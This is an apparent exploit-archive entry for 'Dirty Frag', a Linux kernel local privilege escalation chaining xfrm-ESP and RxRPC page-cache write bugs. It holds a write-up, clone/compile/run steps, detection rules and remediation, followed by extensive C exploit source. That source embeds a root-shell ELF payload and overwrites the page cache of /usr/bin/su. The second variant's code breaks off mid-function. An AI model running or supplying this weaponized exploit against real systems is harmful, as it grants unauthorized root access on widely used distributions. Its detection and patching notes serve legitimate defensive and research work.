PoC Archive PoC Archive
Critical CVE-2026-43500, CVE-2026-43284 patched

Dirty Frag: Linux XFRM/RxRPC Page Cache Write Chain LPE

by Hyunwoo Kim (@v4bel) · 2026-05-14


Metadata

FieldValue
Date Added2026-05-14
Author / ResearcherHyunwoo Kim (@v4bel)
CVE / AdvisoryCVE-2026-43500, CVE-2026-43284
Categorybinary
SeverityCritical
CVSS Score7.8 (CVSSv3)
StatusWeaponized
TagsLPE, Linux kernel, page-cache, xfrm, RxRPC, local, unauthenticated, Dirty Pipe variant

Affected Target

FieldValue
Software / SystemLinux kernel
Versions AffectedCVE-2026-43284: cac2661c53f3 (2017-01-17) – f4c50a4034e6 (2026-05-05); CVE-2026-43500: 2dc334f1a63a (2023-06-08) – aa54b1d27fe0 (2026-05-10)
Language / PlatformC, Linux x86_64
Authentication RequiredNo
Network Access RequiredNo (local only)

Summary

Dirty Frag is a universal Linux Local Privilege Escalation (LPE) vulnerability class discovered by Hyunwoo Kim (@v4bel) that chains two Page Cache Write primitives: the xfrm-ESP Page-Cache Write (CVE-2026-43284) and the RxRPC Page-Cache Write (CVE-2026-43500). By exploiting these bugs, an unprivileged local user can overwrite arbitrary read-only pages in the kernel page cache — including SUID binaries such as /usr/bin/su — and obtain root privileges on all major Linux distributions. The exploit is deterministic, requires no race condition, and has a very high success rate.


Vulnerability Details

Root Cause

Both vulnerabilities are instances of the Dirty Pipe / Copy Fail bug class, which allow data to be written into arbitrary page-cache pages via the splice() / sendmsg() kernel path without the write permission check being enforced. Specifically:

  • CVE-2026-43284 (xfrm-ESP Page-Cache Write): The xfrm ESP-over-UDP code path incorrectly sets the PIPE_BUF_FLAG_CAN_MERGE flag on pipe buffers that point to a victim page-cache page. A subsequent write() to the pipe merges attacker data directly into that read-only page.
  • CVE-2026-43500 (RxRPC Page-Cache Write): The rxrpc kernel AFS transport similarly leaves PIPE_BUF_FLAG_CAN_MERGE set on a victim page-cache reference, allowing the same write-merge primitive without requiring the privilege to create a network namespace.

Attack Vector

  1. The attacker opens a target SUID binary (e.g., /usr/bin/su) for reading to pull its pages into the page cache.
  2. The attacker creates a pipe and splices the target page into it (establishing the pipe buffer / page-cache mapping).
  3. Using either the xfrm-ESP or RxRPC socket sendmsg path, the attacker triggers the flag corruption to enable merging on that page-cache buffer.
  4. The attacker writes a minimal root-shell ELF payload into the pipe; the kernel merges this data directly into the read-only page-cache page for /usr/bin/su.
  5. The attacker executes the (now-replaced) SUID binary, which runs the embedded shell ELF as root.

On Ubuntu (where unprivileged user namespace creation is blocked by AppArmor), the exploit falls back to the RxRPC path (rxrpc.ko is loaded by default). On other distributions where rxrpc.ko is absent, the xfrm path is used. The two variants cover each other’s blind spots.

Impact

Full Local Privilege Escalation to root (uid=0) on all major Linux distributions, including Ubuntu 24.04, RHEL 10, Fedora 44, openSUSE Tumbleweed, AlmaLinux 10, and CentOS Stream 10. Scope of impact spans roughly 9 years of kernel versions.


Environment / Lab Setup

OS:          Ubuntu 24.04 LTS (kernel 6.17.0-23-generic) or equivalent major distro
Target:      /usr/bin/su (any setuid binary in page cache)
Attacker:    Local unprivileged user shell
Tools:       gcc, standard libc (no external dependencies)

Setup Steps

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git clone --depth=1 https://github.com/V4bel/dirtyfrag.git /tmp/dirtyfrag
cd /tmp/dirtyfrag

gcc -O0 -Wall -o exp exp.c -lutil

./exp

Proof of Concept

Step-by-Step Reproduction

  1. Compile — Build exp.c with gcc (no special flags required).

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    gcc -O0 -Wall -o exp exp.c -lutil
    
  2. Execute — Run the binary as an unprivileged local user.

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    ./exp
    
  3. Cleanup — Drop the polluted page cache to restore system stability.

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    echo 3 > /proc/sys/vm/drop_caches
    # or reboot
    

Exploit Code

See exp.c in this folder.

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/* Minimal conceptual flow (see exp.c for full implementation):
 *
 * 1. Open target SUID binary and splice its first page into a pipe.
 * 2. Trigger xfrm-ESP or RxRPC sendmsg to set PIPE_BUF_FLAG_CAN_MERGE.
 * 3. Write root-shell ELF payload into the pipe (merges into page cache).
 * 4. Execute the contaminated SUID binary → root shell.
 */

Expected Output

[*] Trying xfrm-ESP path (CVE-2026-43284) ...
[+] Page cache write successful
[+] Spawning root shell via /usr/bin/su
uid=0(root) gid=0(root) groups=0(root)

Screenshots / Evidence

  • screenshots/ — Reserved for demo evidence

Detection & Indicators of Compromise

audit: type=SYSCALL ... syscall=splice ...
audit: type=SYSCALL ... syscall=sendmsg ... comm="exp"

stat /usr/bin/su   # mtime unchanged but page-cache contents differ

audit: type=EXECVE ... a0="/usr/bin/su" ... uid=1000 euid=0

SIEM / IDS Rule (example):

alert process any -> any (msg:"Possible DirtyFrag LPE: unprivileged splice to SUID binary page cache"; process.name:"exp"; user.id != "0"; process.parent.euid:"0"; sid:9000010;)

Remediation

ActionDetail
PatchApply kernel commits f4c50a4034e6 (CVE-2026-43284) and aa54b1d27fe0 (CVE-2026-43500); update to a patched distribution kernel
WorkaroundBlacklist and unload vulnerable modules: printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf && rmmod esp4 esp6 rxrpc 2>/dev/null && echo 3 > /proc/sys/vm/drop_caches
Config HardeningWhere applicable, restrict unprivileged user namespace creation (e.g., kernel.unprivileged_userns_clone=0) to limit the xfrm path; note this does not block the RxRPC path on Ubuntu

References


Notes

Auto-ingested from https://github.com/V4bel/dirtyfrag on 2026-05-14.

Dirty Frag chains two distinct Page Cache Write primitives to cover each other’s blind spots across distributions:

  • xfrm-ESP path (CVE-2026-43284) requires unprivileged namespace creation; blocked on Ubuntu by default AppArmor policy.
  • RxRPC path (CVE-2026-43500) does not require namespace privileges; rxrpc.ko is loaded by default on Ubuntu.

The exploit contaminates the page cache for /usr/bin/su; run echo 3 > /proc/sys/vm/drop_caches or reboot after testing to restore a clean state.

Human review is required before treating this entry as authoritative — verify metadata, affected version ranges, and CVSS score against official advisories once published.

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/*
 * DISCLAIMER: This exploit code is provided for authorized security research
 * and educational purposes only. Do not use against systems you do not own
 * or have explicit written permission to test. Original author: Hyunwoo Kim
 * (@v4bel). Source: https://github.com/V4bel/dirtyfrag
 * CVE-2026-43284 / CVE-2026-43500
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>

#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif

#define ENC_PORT         4500
#define SEQ_VAL          200
#define REPLAY_SEQ       100
#define TARGET_PATH      "/usr/bin/su"
#define PATCH_OFFSET     0              /* overwrite whole ELF starting at file[0] */
#define PAYLOAD_LEN      192            /* bytes of shell_elf to write (48 triggers) */
#define ENTRY_OFFSET     0x78           /* shellcode entry inside the new ELF */

/*
 * 192-byte minimal x86_64 root-shell ELF.
 *   _start at 0x400078:
 *     setgid(0); setuid(0); setgroups(0, NULL);
 *     execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
 *   PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
 *
 *   Setting TERM in the new shell's env silences the
 *   "tput: No value for $TERM" / "test: : integer expected" noise
 *   /etc/bash.bashrc and friends emit when TERM is unset.
 *
 * Code (from offset 0x78):
 *   31 ff               xor edi, edi
 *   31 f6               xor esi, esi
 *   31 c0               xor eax, eax
 *   b0 6a               mov al, 0x6a              ; setgid
 *   0f 05               syscall
 *   b0 69               mov al, 0x69              ; setuid
 *   0f 05               syscall
 *   b0 74               mov al, 0x74              ; setgroups
 *   0f 05               syscall
 *   6a 00               push 0                    ; envp[1] = NULL
 *   48 8d 05 12 00 00 00 lea rax, [rip+0x12]      ; rax = "TERM=xterm"
 *   50                  push rax                  ; envp[0]
 *   48 89 e2            mov rdx, rsp              ; rdx = envp
 *   48 8d 3d 12 00 00 00 lea rdi, [rip+0x12]      ; rdi = "/bin/sh"
 *   31 f6               xor esi, esi              ; rsi = NULL (argv)
 *   6a 3b 58            push 0x3b ; pop rax       ; rax = 59 (execve)
 *   0f 05               syscall                   ; execve("/bin/sh",NULL,envp)
 *   "TERM=xterm\0"      (offset 0xa5..0xaf)
 *   "/bin/sh\0"         (offset 0xb0..0xb7)
 */
static const uint8_t shell_elf[PAYLOAD_LEN] = {
	0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
	0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
	0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
	0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};

extern int g_su_verbose;
int g_su_verbose = 0;
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)

static int write_proc(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0) return -1;
	int n = write(fd, buf, strlen(buf));
	close(fd);
	return n;
}

static void setup_userns_netns(void)
{
	uid_t real_uid = getuid();
	gid_t real_gid = getgid();
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
		SLOG("unshare: %s", strerror(errno));
		exit(1);
	}
	write_proc("/proc/self/setgroups", "deny");
	char map[64];
	snprintf(map, sizeof(map), "0 %u 1", real_uid);
	if (write_proc("/proc/self/uid_map", map) < 0) {
		SLOG("uid_map: %s", strerror(errno)); exit(1);
	}
	snprintf(map, sizeof(map), "0 %u 1", real_gid);
	if (write_proc("/proc/self/gid_map", map) < 0) {
		SLOG("gid_map: %s", strerror(errno)); exit(1);
	}
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
	struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
	if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
	if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
	close(s);
}

static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
{
	struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len  = RTA_LENGTH(len);
	memcpy(RTA_DATA(rta), data, len);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}

static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
	int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	if (sk < 0) return -1;
	struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
	if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }

	char buf[4096] = {0};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_type  = XFRM_MSG_NEWSA;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_pid   = getpid();
	nlh->nlmsg_seq   = 1;
	nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));

	struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
	xs->id.daddr.a4 = inet_addr("127.0.0.1");
	xs->id.spi      = htonl(spi);
	xs->id.proto    = IPPROTO_ESP;
	xs->saddr.a4    = inet_addr("127.0.0.1");
	xs->family      = AF_INET;
	xs->mode        = XFRM_MODE_TRANSPORT;
	xs->replay_window = 0;
	xs->reqid       = 0x1234;
	xs->flags       = XFRM_STATE_ESN;
	xs->lft.soft_byte_limit   = (uint64_t)-1;
	xs->lft.hard_byte_limit   = (uint64_t)-1;
	xs->lft.soft_packet_limit = (uint64_t)-1;
	xs->lft.hard_packet_limit = (uint64_t)-1;
	xs->sel.family  = AF_INET;
	xs->sel.prefixlen_d = 32;
	xs->sel.prefixlen_s = 32;
	xs->sel.daddr.a4 = inet_addr("127.0.0.1");
	xs->sel.saddr.a4 = inet_addr("127.0.0.1");

	{
		char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
		strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
		aa->alg_key_len   = 32 * 8;
		aa->alg_trunc_len = 128;
		memset(aa->alg_key, 0xAA, 32);
		put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
	}
	{
		char alg_buf[sizeof(struct xfrm_algo) + 16];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
		strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
		ea->alg_key_len = 16 * 8;
		memset(ea->alg_key, 0xBB, 16);
		put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
	}
	{
		struct xfrm_encap_tmpl enc;
		memset(&enc, 0, sizeof(enc));
		enc.encap_type  = UDP_ENCAP_ESPINUDP;
		enc.encap_sport = htons(ENC_PORT);
		enc.encap_dport = htons(ENC_PORT);
		enc.encap_oa.a4 = 0;
		put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
	}
	{
		char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
		memset(esn_buf, 0, sizeof(esn_buf));
		struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
		esn->bmp_len       = 1;
		esn->oseq          = 0;
		esn->seq           = REPLAY_SEQ;
		esn->oseq_hi       = 0;
		esn->seq_hi        = patch_seqhi;
		esn->replay_window = 32;
		put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
	}

	if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
	char rbuf[4096];
	int n = recv(sk, rbuf, sizeof(rbuf), 0);
	if (n < 0) { close(sk); return -1; }
	struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
	if (rh->nlmsg_type == NLMSG_ERROR) {
		struct nlmsgerr *e = NLMSG_DATA(rh);
		if (e->error) { close(sk); return -1; }
	}
	close(sk);
	return 0;
}

static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
	int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_recv < 0) return -1;
	int one = 1;
	setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	struct sockaddr_in sa_d = {
		.sin_family = AF_INET,
		.sin_port   = htons(ENC_PORT),
		.sin_addr   = { inet_addr("127.0.0.1") },
	};
	if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_recv); return -1;
	}
	int encap = UDP_ENCAP_ESPINUDP;
	if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
		close(sk_recv); return -1;
	}
	int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_send < 0) { close(sk_recv); return -1; }
	if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_send); close(sk_recv); return -1;
	}
	int file_fd = open(path, O_RDONLY);
	if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }

	int pfd[2];
	if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }

	uint8_t hdr[24];
	*(uint32_t*)(hdr + 0) = htonl(spi);
	*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
	memset(hdr + 8, 0xCC, 16);

	struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
	if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	off_t off = offset;
	ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
	if (s != 16) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
	/* still proceed regardless of splice rc — kernel may have already
	 * decrypted the page in the time between splice and recv */
	usleep(150 * 1000);

	close(file_fd); close(pfd[0]); close(pfd[1]);
	close(sk_send); close(sk_recv);
	return s == 40 ? 0 : -1;
}

static int verify_byte(const char *path, off_t offset, uint8_t want)
{
	int fd = open(path, O_RDONLY);
	if (fd < 0) return -1;
	uint8_t got;
	if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
	close(fd);
	return got == want ? 0 : -1;
}

static int corrupt_su(void)
{
	setup_userns_netns();
	usleep(100 * 1000);

	/* Install 40 xfrm SAs, one per 4-byte chunk.  Each carries the
	 * desired payload word in its seq_hi field. */
	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		uint32_t seqhi =
			((uint32_t)shell_elf[i*4 + 0] << 24) |
			((uint32_t)shell_elf[i*4 + 1] << 16) |
			((uint32_t)shell_elf[i*4 + 2] <<  8) |
			((uint32_t)shell_elf[i*4 + 3]);
		if (add_xfrm_sa(spi, seqhi) < 0) {
			SLOG("add_xfrm_sa #%d failed", i);
			return -1;
		}
	}
	SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);

	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		off_t off = PATCH_OFFSET + i * 4;
		if (do_one_write(TARGET_PATH, off, spi) < 0) {
			SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
			return -1;
		}
	}
	SLOG("wrote %d bytes to %s starting at 0x%x",
			PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
	return 0;
}

int su_lpe_main(int argc, char **argv)
{
	for (int i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
			g_su_verbose = 1;
		else if (!strcmp(argv[i], "--corrupt-only"))
			; /* compat: this body always corrupts only */
	}
	if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;

	pid_t cpid = fork();
	if (cpid < 0) return 1;
	if (cpid == 0) {
		int rc = corrupt_su();
		_exit(rc == 0 ? 0 : 2);
	}
	int cstatus;
	waitpid(cpid, &cstatus, 0);
	if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
		SLOG("corruption stage failed (status=0x%x)", cstatus);
		return 1;
	}

	/* Sanity check: bytes at the embedded ELF entry (file offset 0x78
	 * after our overwrite) should be 0x31 0xff (xor edi, edi — first
	 * instruction of the new shellcode). */
	if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
			verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
		SLOG("post-write verify failed (target unchanged)");
		return 1;
	}
	SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
			ENTRY_OFFSET);
	return 0;
}
/*
 * rxrpc/rxkad LPE — uid=1000 → root
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sched.h>
#include <poll.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/rxrpc.h>
#include <linux/keyctl.h>
#include <linux/if_alg.h>
#include <net/if.h>
#include <termios.h>

#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef PF_RXRPC
#define PF_RXRPC AF_RXRPC
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef MSG_SPLICE_PAGES
#define MSG_SPLICE_PAGES 0x8000000
#endif

/* ---- rxrpc constants ---- */
#define RXRPC_PACKET_TYPE_DATA          1
#define RXRPC_PACKET_TYPE_ACK           2
#define RXRPC_PACKET_TYPE_ABORT         4
#define RXRPC_PACKET_TYPE_CHALLENGE     6
#define RXRPC_PACKET_TYPE_RESPONSE      7
#define RXRPC_CLIENT_INITIATED          0x01
#define RXRPC_REQUEST_ACK               0x02
#define RXRPC_LAST_PACKET               0x04
#define RXRPC_CHANNELMASK               3
#define RXRPC_CIDSHIFT                  2

struct rxrpc_wire_header {
	uint32_t epoch;
	uint32_t cid;
	uint32_t callNumber;
	uint32_t seq;
	uint32_t serial;
	uint8_t  type;
	uint8_t  flags;
	uint8_t  userStatus;
	uint8_t  securityIndex;
	uint16_t cksum;        /* big-endian on wire */
	uint16_t serviceId;
} __attribute__((packed));

struct rxkad_challenge {
	uint32_t version;
	uint32_t nonce;
	uint32_t min_level;
	uint32_t __padding;
} __attribute__((packed));

/* Attacker-chosen 8-byte session key used for the rxkad token.
 * Mutable because the LPE brute-force iterates over keys looking for
 * one that decrypts the file's UID field to a "0:" prefix. */
static uint8_t SESSION_KEY[8] = {
	0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
};

#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)

/* =================================================================== */
/* unshare + map setup                                                  */
/* =================================================================== */

static int write_file(const char *path, const char *fmt, ...)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0) return -1;
	char buf[256]; va_list ap; va_start(ap, fmt);
	int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
	int r = (int)write(fd, buf, n); close(fd);
	return r;
}

static int do_unshare_userns_netns(void)
{
	uid_t real_uid = getuid();
	gid_t real_gid = getgid();
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
		WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno));
		return -1;
	}
	LOG("unshare(USER|NET) OK, real uid=%u", real_uid);
	write_file("/proc/self/setgroups", "deny");
	if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) {
		WARN("uid_map: %s", strerror(errno)); return -1;
	}
	if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) {
		WARN("gid_map: %s", strerror(errno)); return -1;
	}
	LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns",
			real_uid, real_gid);

	/* ifup lo */
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s >= 0) {
		struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
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